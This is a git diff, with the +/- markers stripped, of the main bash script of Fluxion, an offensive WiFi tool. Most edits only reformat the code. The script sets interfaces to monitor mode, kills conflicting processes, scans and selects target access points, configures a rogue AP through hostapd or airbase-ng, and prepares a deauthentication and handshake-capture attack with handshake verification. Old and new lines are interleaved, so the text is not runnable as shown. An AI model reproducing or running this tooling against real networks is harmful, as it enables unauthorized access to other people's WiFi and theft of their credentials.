"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng";;
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit" ;;
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_identifier
return 1;;
return 1
;;
esac
}
@ -203,12 +207,13 @@ function handshake_snooper_set_verifier_interval() {
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
case "$IOQueryChoice" in
"$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30;;
"$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60;;
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90;;
"$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30 ;;
"$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60 ;;
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_interval
return 1;;
return 1
;;
esac
}
@ -225,11 +230,12 @@ function handshake_snooper_set_verifier_synchronicity() {
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
case "$IOQueryChoice" in
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking";;
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking";;
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking" ;;
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_synchronicity
return 1;;
return 1
;;
esac
}
@ -248,15 +254,22 @@ function prep_attack() {
mkdir -p "$FLUXIONWorkspacePath/capture"
while true; do
handshake_snooper_set_deauthenticator_identifier; if [ $? -ne 0 ]; then break; fi
handshake_snooper_set_verifier_identifier; if [ $? -ne 0 ]; then
handshake_snooper_unset_deauthenticator_identifier; continue
handshake_snooper_set_deauthenticator_identifier
if [ $? -ne 0 ]; then break; fi
handshake_snooper_set_verifier_identifier
if [ $? -ne 0 ]; then
handshake_snooper_unset_deauthenticator_identifier
continue
fi
handshake_snooper_set_verifier_interval; if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_identifier; continue
handshake_snooper_set_verifier_interval
if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_identifier
continue
fi
handshake_snooper_set_verifier_synchronicity; if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_interval; continue;
handshake_snooper_set_verifier_synchronicity
if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_interval
continue
fi
HandshakeSnooperState="Ready"
break
@ -265,13 +278,13 @@ function prep_attack() {
# Check for handshake abortion.
if [ "$HandshakeSnooperState" != "Ready" ]; then
unprep_attack
return 1;
return 1
fi
}
function stop_attack() {
if [ "$HANDSHAKEArbiterPID" ]; then
kill -s SIGABRT $HANDSHAKEArbiterPID &> $FLUXIONOutputDevice
kill -s SIGABRT $HANDSHAKEArbiterPID &>$FLUXIONOutputDevice
fi
HANDSHAKEArbiterPID=""
@ -284,7 +297,7 @@ function start_attack() {
if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi
HandshakeSnooperState="Running"
handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice &
handshake_snooper_arbiter_daemon $$ &>$FLUXIONOutputDevice &
HANDSHAKEArbiterPID=$!
}

View File

@ -3,7 +3,8 @@
################################ < FLUXION Parameters > ################################
# NOTE: The FLUXIONPath constant will not be populated correctly if the script is called
# directly via a symlink. Symlinks in the path to the script should work completely fine.
declare -r FLUXIONPath="$( cd "$(dirname "$0")" ; pwd -P )"
declare -r FLUXIONPath="$(cd "$(dirname "$0")" ;pwd -P
)"
declare -r FLUXIONWorkspacePath="/tmp/fluxspace"
declare -r FLUXIONHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes"
@ -13,7 +14,7 @@ declare -r FLUXIONNoiseFloor=-90
declare -r FLUXIONNoiseCeiling=-60
declare -r FLUXIONVersion=3
declare -r FLUXIONRevision=10
declare -r FLUXIONRevision=11
declare -r FLUXIONDebug=${FLUXIONDebug:+1}
declare -r FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1}
@ -73,7 +74,7 @@ if ! hash xdpyinfo 2>/dev/null; then
exit 3
fi
if ! xdpyinfo &> /dev/null; then
if ! xdpyinfo &>/dev/null; then
echo -e "${CRed}The script failed to initialize an xterm test session.$CClr"
exit 3
fi
@ -107,22 +108,19 @@ function fluxion_exitmode() {
# Get PIDs of all programs matching targetPID
local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}')
if [ ! "$targetPID" ]; then continue; fi
echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`"
killall $targetPID &> $FLUXIONOutputDevice
echo -e "$CWht[$CRed-$CWht] $(io_dynamic_output $FLUXIONKillingProcessNotice)"
killall $targetPID &>$FLUXIONOutputDevice
done
# If the installer activated the package manager, make sure to undo any changes.
if [ "$PackageManagerCLT" ]; then
echo -e "$CWht[$CRed-$CWht] "$(io_dynamic_output "$FLUXIONRestoringPackageManagerNotice")"$CClr"
unprep_package_manager
fi
if [ "$WIMonitor" ]; then
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr"
if [ "$FLUXIONAirmonNG" ]
then airmon-ng stop "$WIMonitor" &> $FLUXIONOutputDevice
if [ "$FLUXIONAirmonNG" ]; then airmon-ng stop "$WIMonitor" &>$FLUXIONOutputDevice
else interface_set_mode "$WIMonitor" "managed"
fi
fi
@ -140,12 +138,12 @@ function fluxion_exitmode() {
# systemctl check
systemd=$(whereis systemctl)
if [ "$systemd" = "" ];then
service network-manager restart &> $FLUXIONOutputDevice &
service networkmanager restart &> $FLUXIONOutputDevice &
service networking restart &> $FLUXIONOutputDevice &
if [ "$systemd" = "" ]; then
service network-manager restart &>$FLUXIONOutputDevice &
service networkmanager restart &>$FLUXIONOutputDevice &
service networking restart &>$FLUXIONOutputDevice &
else
systemctl restart NetworkManager &> $FLUXIONOutputDevice &
systemctl restart NetworkManager &>$FLUXIONOutputDevice &
fi
fi
@ -166,9 +164,11 @@ function fluxion_conditional_clear() {
}
function fluxion_conditional_bail() {
echo ${1:-"Something went wrong, whoops! (report this)"}; sleep 5
if [ ! $FLUXIONDebug ]
then fluxion_handle_exit; return 1
echo ${1:-"Something went wrong, whoops! (report this)"}
sleep 5
if [ ! $FLUXIONDebug ]; then
fluxion_handle_exit
return 1
fi
echo "Press any key to continue execution..."
read bullshit
@ -185,10 +185,10 @@ fi
function fluxion_handle_abort_attack() {
if [ $(type -t stop_attack) ]; then
stop_attack &> $FLUXIONOutputDevice
unprep_attack &> $FLUXIONOutputDevice
stop_attack &>$FLUXIONOutputDevice
unprep_attack &>$FLUXIONOutputDevice
else
echo "Attack undefined, can't stop anything..." > $FLUXIONOutputDevice
echo "Attack undefined, can't stop anything..." >$FLUXIONOutputDevice
fi
}
@ -210,58 +210,65 @@ function fluxion_header() {
format_apply_autosize "[%*s]\n"
local verticalBorder=$FormatApplyAutosize
format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n";
format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n"
local headerTextFormat="$FormatApplyAutosize"
fluxion_conditional_clear
echo -e "`printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g"`"
echo -e "$(printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g")"
printf "$CSRed$verticalBorder" ""
printf "$headerTextFormat" "" ""
printf "$CSBlu$verticalBorder" ""
echo -e "`printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g"`$CClr"
echo -e "$(printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g")$CClr"
echo
echo
}
# Create working directory
if [ ! -d "$FLUXIONWorkspacePath" ]; then
mkdir -p "$FLUXIONWorkspacePath" &> $FLUXIONOutputDevice
mkdir -p "$FLUXIONWorkspacePath" &>$FLUXIONOutputDevice
fi
####################################### < Start > ######################################
if [ ! $FLUXIONDebug ]; then
FLUXIONBanner=()
format_center_literals " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐"; FLUXIONBanner+=("$FormatCenterLiterals");
format_center_literals " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║"; FLUXIONBanner+=("$FormatCenterLiterals");
format_center_literals " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜"; FLUXIONBanner+=("$FormatCenterLiterals");
format_center_literals " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║"; FLUXIONBanner+=("$FormatCenterLiterals");
format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘"; FLUXIONBanner+=("$FormatCenterLiterals");
format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯"; FLUXIONBanner+=("$FormatCenterLiterals");
format_center_literals " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐"
FLUXIONBanner+=("$FormatCenterLiterals")
format_center_literals " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║"
FLUXIONBanner+=("$FormatCenterLiterals")
format_center_literals " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜"
FLUXIONBanner+=("$FormatCenterLiterals")
format_center_literals " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║"
FLUXIONBanner+=("$FormatCenterLiterals")
format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘"
FLUXIONBanner+=("$FormatCenterLiterals")
format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯"
FLUXIONBanner+=("$FormatCenterLiterals")
clear
if [ "$FLUXIONAuto" ]
then echo -e "$CBlu"
if [ "$FLUXIONAuto" ]; then echo -e "$CBlu"
else echo -e "$CRed"
fi
for line in "${FLUXIONBanner[@]}"
do echo "$line"; sleep 0.05
for line in "${FLUXIONBanner[@]}"; do
echo "$line"
sleep 0.05
done
#echo "${FLUXIONBanner[@]}"
echo
sleep 0.1
format_center_literals "${CGrn}Site: ${CRed}https://github.com/FluxionNetwork/fluxion$CClr"; echo -e "$FormatCenterLiterals"
format_center_literals "${CGrn}Site: ${CRed}https://github.com/FluxionNetwork/fluxion$CClr"
echo -e "$FormatCenterLiterals"
sleep 0.1
format_center_literals "${CSRed}FLUXION $FLUXIONVersion$CClr (rev. $CSBlu$FLUXIONRevision$CClr)$CYel by$CWht ghost"; echo -e "$FormatCenterLiterals"
format_center_literals "${CSRed}FLUXION $FLUXIONVersion$CClr (rev. $CSBlu$FLUXIONRevision$CClr)$CYel by$CWht ghost"
echo -e "$FormatCenterLiterals"
sleep 0.1
if installer_utils_check_update "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" "FLUXIONVersion=" "FLUXIONRevision=" $FLUXIONVersion $FLUXIONRevision
then installer_utils_run_update "https://github.com/FluxionNetwork/fluxion/archive/master.zip" "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "`dirname "$FLUXIONPath"`"
if installer_utils_check_update "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" "FLUXIONVersion=" "FLUXIONRevision=" $FLUXIONVersion $FLUXIONRevision; then installer_utils_run_update "https://github.com/FluxionNetwork/fluxion/archive/master.zip" "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$(dirname "$FLUXIONPath")"
fi
echo
@ -269,8 +276,7 @@ if [ ! $FLUXIONDebug ]; then
FLUXIONCLIToolsRequired=("aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" "curl" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc")
FLUXIONCLIToolsMissing=()
while ! installer_utils_check_dependencies FLUXIONCLIToolsRequired[@]
do installer_utils_run_dependencies InstallerUtilsCheckDependencies[@]
while ! installer_utils_check_dependencies FLUXIONCLIToolsRequired[@]; do installer_utils_run_dependencies InstallerUtilsCheckDependencies[@]
done
fi
@ -291,8 +297,8 @@ function fluxion_set_resolution() { # Windows + Resolution
NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$RATIO}")/1 | bc)
NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$RATIO}")/1 | bc)
SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X+($SCREEN_SIZE_X-2*$NEW_SCREEN_SIZE_X)/2)))
SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y+($SCREEN_SIZE_Y-2*$NEW_SCREEN_SIZE_Y)/2)))
SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X + ($SCREEN_SIZE_X - 2 * $NEW_SCREEN_SIZE_X) / 2)))
SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y + ($SCREEN_SIZE_Y - 2 * $NEW_SCREEN_SIZE_Y) / 2)))
# Upper
TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0"
@ -342,7 +348,8 @@ function fluxion_set_language() {
# If a file is missing, fall back to english.
if [ $? -eq 1 ]; then
echo -e "\n\n$FLUXIONVLine Falling back to English..."; sleep 5
echo -e "\n\n$FLUXIONVLine Falling back to English..."
sleep 5
FLUXIONLanguage="en"
return 1
fi
@ -351,12 +358,11 @@ function fluxion_set_language() {
fi
}
#################################### < Interfaces > ####################################
function fluxion_unset_interface() {
# Unblock interfaces to make them available.
echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice"
rfkill unblock all &> $FLUXIONOutputDevice
rfkill unblock all &>$FLUXIONOutputDevice
# Find all monitor-mode interfaces & all AP interfaces.
echo -e "$FLUXIONVLine $FLUXIONFindingExtraWINotice"
@ -371,8 +377,7 @@ function fluxion_unset_interface() {
#iw dev "FX${monitor:2}AP" del &> $FLUXIONOutputDevice
# Remove monitoring interface after AP interface.
if [[ "$monitor" = *"mon" ]]
then airmon-ng stop "$monitor" > $FLUXIONOutputDevice
if [[ "$monitor" == *"mon" ]]; then airmon-ng stop "$monitor" >$FLUXIONOutputDevice
else interface_set_mode "$monitor" "managed"
fi
@ -408,18 +413,20 @@ function fluxion_set_interface() {
local wiSelected=$InterfacePromptIfSelected
if [ "$wiSelected" = "$FLUXIONGeneralRepeatOption" ]
then fluxion_unset_interface; return 1
if [ "$wiSelected" = "$FLUXIONGeneralRepeatOption" ]; then
fluxion_unset_interface
return 1
fi
if [ ! "$FLUXIONWIKillProcesses" -a "$InterfacePromptIfSelectedState" = "[-]" ]; then
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError"
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip"
sleep 7; fluxion_unset_interface; return 1;
sleep 7
fluxion_unset_interface
return 1
fi
if ! fluxion_run_interface "$wiSelected"
then return 1
if ! fluxion_run_interface "$wiSelected"; then return 1
fi
WIMonitor="$FluxionRunInterface"
@ -434,21 +441,22 @@ function fluxion_run_interface() {
# Get selected interface's driver details/info-descriptor.
echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"
if ! interface_driver "$ifSelected"
then echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError"; sleep 3; return 1
if ! interface_driver "$ifSelected"; then
echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError"
sleep 3
return 1
fi
local ifDriver="$InterfaceDriver"
# I'm not really sure about this conditional here.
# FLUXION 2 had the conditional so I kept it there.
if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]
then rmmod -f $ifDriver &> $FLUXIONOutputDevice 2>&1
if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]; then
rmmod -f $ifDriver &>$FLUXIONOutputDevice 2>&1
# Wait while interface becomes unavailable.
echo -e "$FLUXIONVLine `io_dynamic_output $FLUXIONUnloadingWIDriverNotice`"
while interface_physical "$ifSelected"
do sleep 1
echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONUnloadingWIDriverNotice)"
while interface_physical "$ifSelected"; do sleep 1
done
fi
fi
@ -461,22 +469,19 @@ function fluxion_run_interface() {
# Kill potentially troublesome programs.
echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice"
for program in "${conflictPrograms[@]}"
do killall "$program" &> $FLUXIONOutputDevice
for program in "${conflictPrograms[@]}"; do killall "$program" &>$FLUXIONOutputDevice
done
fi
if [ "$FLUXIONWIReloadDriver" ]; then
# I'm not really sure about this conditional here.
# FLUXION 2 had the conditional so I kept it there.
if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]
then modprobe "$ifDriver" &> $FLUXIONOutputDevice 2>&1
if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]; then modprobe "$ifDriver" &>$FLUXIONOutputDevice 2>&1
fi
# Wait while interface becomes available.
echo -e "$FLUXIONVLine `io_dynamic_output $FLUXIONLoadingWIDriverNotice`"
while ! interface_physical "$ifSelected"
do sleep 1
echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONLoadingWIDriverNotice)"
while ! interface_physical "$ifSelected"; do sleep 1
done
fi
@ -485,17 +490,20 @@ function fluxion_run_interface() {
if [ "$FLUXIONAirmonNG" ]; then
# TODO: Need to check weather switching to monitor mode below failed.
# Notice: Line below could cause issues with different airmon versions.
FluxionRunInterface=$(airmon-ng start $ifSelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2> /dev/null)
FluxionRunInterface=$(airmon-ng start $ifSelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2>/dev/null)
else
if interface_set_mode "$ifSelected" "monitor"
then FluxionRunInterface=$ifSelected
if interface_set_mode "$ifSelected" "monitor"; then FluxionRunInterface=$ifSelected
else FluxionRunInterface=""
fi
fi
if [ "$FluxionRunInterface" ]
then echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIEnabledNotice"; sleep 3
else echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIFailedError"; sleep 3; return 2
if [ "$FluxionRunInterface" ]; then
echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIEnabledNotice"
sleep 3
else
echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIFailedError"
sleep 3
return 2
fi
}
@ -507,7 +515,7 @@ function fluxion_set_scanner() {
return 0
fi
if [ "$FLUXIONAuto" ];then
if [ "$FLUXIONAuto" ]; then
fluxion_run_scanner $WIMonitor
else
local choices=("$FLUXIONScannerChannelOptionAll (2.4GHz)" "$FLUXIONScannerChannelOptionAll (5GHz)" "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption")
@ -516,11 +524,14 @@ function fluxion_set_scanner() {
echo
case "$IOQueryChoice" in
"$FLUXIONScannerChannelOptionAll (2.4GHz)") fluxion_run_scanner $WIMonitor "" "bg";;
"$FLUXIONScannerChannelOptionAll (5GHz)") fluxion_run_scanner $WIMonitor "" "a";;
"$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") fluxion_run_scanner $WIMonitor "" "abg";;
"$FLUXIONScannerChannelOptionSpecific") fluxion_set_scanner_channel;;
"$FLUXIONGeneralBackOption") fluxion_unset_interface; return 1;;
"$FLUXIONScannerChannelOptionAll (2.4GHz)") fluxion_run_scanner $WIMonitor "" "bg" ;;
"$FLUXIONScannerChannelOptionAll (5GHz)") fluxion_run_scanner $WIMonitor "" "a" ;;
"$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") fluxion_run_scanner $WIMonitor "" "abg" ;;
"$FLUXIONScannerChannelOptionSpecific") fluxion_set_scanner_channel ;;
"$FLUXIONGeneralBackOption")
fluxion_unset_interface
return 1
;;
esac
fi
@ -538,7 +549,8 @@ function fluxion_set_scanner_channel() {
echo
echo -ne "$FLUXIONPrompt"
local channels; read channels
local channels
read channels
echo
@ -548,7 +560,7 @@ function fluxion_set_scanner_channel() {
# Parameters: monitor [ channel(s) [ band(s) ] ]
function fluxion_run_scanner() {
if [ ${#@} -lt 1 ]; then return 1; fi;
if [ ${#@} -lt 1 ]; then return 1; fi
echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice"
echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip"
@ -561,8 +573,10 @@ function fluxion_run_scanner() {
fi
# Begin scanner and output all results to "dump-01.csv."
if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2> /dev/null; then
echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError"; sleep 5; return 1
if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2>/dev/null; then
echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError"
sleep 5
return 1
fi
# Fix this below, creating subshells for something like this is somewhat ridiculous.
@ -580,8 +594,11 @@ function fluxion_run_scanner() {
echo
case "$IOQueryChoice" in
"$FLUXIONGeneralBackOption") return 1;;
"$FLUXIONGeneralExitOption") fluxion_exitmode; return 2;;
"$FLUXIONGeneralBackOption") return 1 ;;
"$FLUXIONGeneralExitOption")
fluxion_exitmode
return 2
;;
esac
fi
@ -600,11 +617,11 @@ function fluxion_run_scanner() {
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice"
sleep 3; return 1
sleep 3
return 1
fi
}
###################################### < Target > ######################################
function fluxion_unset_target_ap() {
APTargetSSID=""
@ -653,19 +670,22 @@ function fluxion_set_target_ap() {
local power=${TargetAPCandidatesPower[i]}
if [ $power -eq -1 ]; then
# airodump-ng's man page says -1 means unsupported value.
TargetAPCandidatesQuality[i]="??";
TargetAPCandidatesQuality[i]="??"
elif [ $power -le $FLUXIONNoiseFloor ]; then
TargetAPCandidatesQuality[i]=0;
TargetAPCandidatesQuality[i]=0
elif [ $power -gt $FLUXIONNoiseCeiling ]; then
TargetAPCandidatesQuality[i]=100;
TargetAPCandidatesQuality[i]=100
else
# Bash doesn't support floating point division, so I gotta work around it...
# The function is Q = ((P - F) / (C - F)); Q - quality, P - power, F - floor, C - Ceiling.
TargetAPCandidatesQuality[i]=$((( ${TargetAPCandidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10 ) / ( ( $FLUXIONNoiseCeiling - $FLUXIONNoiseFloor ) / 10 ) ))
TargetAPCandidatesQuality[i]=$(((${TargetAPCandidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10) / (($FLUXIONNoiseCeiling - $FLUXIONNoiseFloor) / 10)))
fi
done
local headerTitle=$(format_center_literals "WIFI LIST"; echo -n "$FormatCenterLiterals\n\n")
local headerTitle=$(
format_center_literals "WIFI LIST"
echo -n "$FormatCenterLiterals\n\n"
)
format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n"
local headerFields=$(printf "$FormatApplyAutosize" "ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID")
@ -716,10 +736,9 @@ function fluxion_show_ap_info() {
echo
}
#################################### < AP Service > ####################################
function fluxion_unset_ap_service() {
APRogueService="";
APRogueService=""
}
function fluxion_set_ap_service() {
@ -728,7 +747,7 @@ function fluxion_set_ap_service() {
fluxion_unset_ap_service
if [ "$FLUXIONAuto" ]; then
APRogueService="hostapd";
APRogueService="hostapd"
else
fluxion_header
@ -743,10 +762,16 @@ function fluxion_set_ap_service() {
echo
case "$IOQueryChoice" in
"$FLUXIONAPServiceHostapdOption" ) APRogueService="hostapd";;
"$FLUXIONAPServiceAirbaseOption" ) APRogueService="airbase-ng";;
"$FLUXIONGeneralBackOption" ) fluxion_unset_ap_service; return 1;;
* ) fluxion_conditional_bail; return 1;;
"$FLUXIONAPServiceHostapdOption") APRogueService="hostapd" ;;
"$FLUXIONAPServiceAirbaseOption") APRogueService="airbase-ng" ;;
"$FLUXIONGeneralBackOption")
fluxion_unset_ap_service
return 1
;;
*)
fluxion_conditional_bail
return 1
;;
esac
fi
@ -759,7 +784,7 @@ function fluxion_check_hash() {
if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then
echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError"
sleep 3
return 1;
return 1
fi
local verifier
@ -780,18 +805,17 @@ function fluxion_check_hash() {
echo
case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit";;
"$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng";;
"$FLUXIONGeneralBackOption") return 1;;
"$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit" ;;
"$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng" ;;
"$FLUXIONGeneralBackOption") return 1 ;;
esac
fi
hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" > $FLUXIONOutputDevice
hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" >$FLUXIONOutputDevice
local hashResult=$?
# A value other than 0 means there's an issue with the hash.
if [ $hashResult -ne 0 ]
then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError"
if [ $hashResult -ne 0 ]; then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError"
else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice"
fi
@ -823,7 +847,7 @@ function fluxion_set_hash() {
if [ -f "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" -a \
-s "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" ]; then
if [ ! "$FLUXIONAuto" ];then
if [ ! "$FLUXIONAuto" ]; then
fluxion_header
echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice"
@ -843,7 +867,10 @@ function fluxion_set_hash() {
APTargetHashPath="$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
fluxion_check_hash
# If the user decides to go back, we must unset.
if [ $? -ne 0 ]; then fluxion_unset_hash; return 1; fi
if [ $? -ne 0 ]; then
fluxion_unset_hash
return 1
fi
fi
fi
@ -863,14 +890,23 @@ function fluxion_set_hash() {
echo
case "$IOQueryChoice" in
"$FLUXIONHashSourcePathOption") fluxion_set_hash_path; fluxion_check_hash;;
"$FLUXIONHashSourceRescanOption") fluxion_set_hash;; # Rescan checks hash automatically.
"$FLUXIONGeneralBackOption" ) fluxion_unset_hash; return 1;;
"$FLUXIONHashSourcePathOption")
fluxion_set_hash_path
fluxion_check_hash
;;
"$FLUXIONHashSourceRescanOption") fluxion_set_hash ;; # Rescan checks hash automatically.
"$FLUXIONGeneralBackOption")
fluxion_unset_hash
return 1
;;
esac
# This conditional is required for return values
# of operation performed in the case statement.
if [ $? -ne 0 ]; then fluxion_unset_hash; return 1; fi
if [ $? -ne 0 ]; then
fluxion_unset_hash
return 1
fi
done
# Copy to workspace for hash-required operations.
@ -879,8 +915,7 @@ function fluxion_set_hash() {
###################################### < Attack > ######################################
function fluxion_unset_attack() {
if [ "$FLUXIONAttack" ]
then unprep_attack
if [ "$FLUXIONAttack" ]; then unprep_attack
fi
FLUXIONAttack=""
}
@ -916,9 +951,8 @@ function fluxion_set_attack() {
local attack
for attack in "${attacks[@]}"; do
